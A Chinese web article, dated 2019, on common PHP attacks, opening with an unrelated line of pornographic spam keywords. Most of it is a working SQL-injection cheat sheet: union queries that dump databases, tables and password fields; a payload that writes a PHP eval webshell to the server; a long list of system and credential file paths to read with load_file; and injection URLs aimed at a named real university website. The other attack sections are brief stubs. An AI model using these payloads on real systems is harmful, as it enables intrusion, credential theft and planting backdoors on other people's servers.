欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHP常見的幾種攻擊方式實(shí)例小結(jié)

 更新時(shí)間:2019年04月29日 08:44:23   作者:雨落知音  
這篇文章主要介紹了PHP常見的幾種攻擊方式,結(jié)合實(shí)例形式總結(jié)分析了php SQL注入、XSS攻擊、文件包含漏洞等php常見攻擊方式,需要的朋友可以參考下

本文實(shí)例總結(jié)了PHP常見的幾種攻擊方式。分享給大家供大家參考,具體如下:

1.SQL Injection(sql注入)

①.暴字段長度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用內(nèi)置函數(shù)暴數(shù)據(jù)庫信息

version() database() user()

不用猜解可用字段暴數(shù)據(jù)庫信息(有些網(wǎng)站不適用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系統(tǒng)信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

數(shù)據(jù)庫權(quán)限:

and ord(mid(user(),1,1))=114 /* 返回正常說明為root

暴庫 (mysql>5.0)

Mysql 5 以上有內(nèi)置庫 information_schema,存儲(chǔ)著mysql的所有數(shù)據(jù)庫和表結(jié)構(gòu)信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=數(shù)據(jù)庫(十六進(jìn)制) limit 0(開始的記錄,0為第一個(gè)開始記錄),1(顯示1條記錄)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六進(jìn)制)limit 0,1

暴密碼

and 1=2 Union select 1,2,3,用戶名段,5,6,7,密碼段,8,9 from 表名 limit 0,1

高級(jí)用法(一個(gè)可用字段顯示兩個(gè)數(shù)據(jù)內(nèi)容):Union select 1,2,3concat(用戶名段,0x3c,密碼段),5,6,7,8,9 from 表名 limit 0,1

直接寫馬(Root權(quán)限)

條件:

①、知道站點(diǎn)物理路徑

②、有足夠大的權(quán)限(可以用select …. from mysql.user測(cè)試)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路徑' and 1=2 union all select 一句話HEX值 into outfile '路徑'

load_file() 常用路徑:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面兩個(gè)是查看一個(gè)PHP文件里完全顯示代碼.有些時(shí)候不替換一些字符,如 “<” 替換成”空格” 返回的是網(wǎng)頁.而無法查看到代碼.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系統(tǒng)根目錄
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虛擬主機(jī)配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系統(tǒng)apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp開發(fā)的網(wǎng)站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系統(tǒng)配置的JSP虛擬主機(jī)
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路徑
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虛擬主機(jī)配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 針對(duì)3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虛擬主機(jī)查看
15、 /etc/sysconfig/iptables 本看防火墻策略
16 、usr/local/app/php5 b/php.ini PHP 的相當(dāng)設(shè)置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 紅帽子的系統(tǒng)版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系統(tǒng)中的用戶密碼
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相關(guān)設(shè)置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虛擬網(wǎng)站設(shè)置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射時(shí)出現(xiàn)的問題:

當(dāng)注射后頁面顯示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

這是由于前后編碼不一致造成的,

解決方法:在參數(shù)前加上 unhex(hex(參數(shù)))就可以了。上面的URL就可以改為:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以繼續(xù)注射了。。。

2.XSS (Cross Site Scripting)(跨站腳本攻擊)

//www.dbjr.com.cn/article/160334.htm

3.Source Code Revelation(源代碼暴露)

可以用php.ini或者h(yuǎn)taccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(遠(yuǎn)程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站請(qǐng)求偽造)

7.Directory Traversal(目錄跨越)

更多關(guān)于PHP相關(guān)內(nèi)容感興趣的讀者可查看本站專題:《php程序設(shè)計(jì)安全教程》、《php安全過濾技巧總結(jié)》、《PHP運(yùn)算與運(yùn)算符用法總結(jié)》、《PHP基本語法入門教程》、《php面向?qū)ο蟪绦蛟O(shè)計(jì)入門教程》、《php字符串(string)用法總結(jié)》、《php+mysql數(shù)據(jù)庫操作入門教程》及《php常見數(shù)據(jù)庫操作技巧匯總

希望本文所述對(duì)大家PHP程序設(shè)計(jì)有所幫助。

相關(guān)文章

最新評(píng)論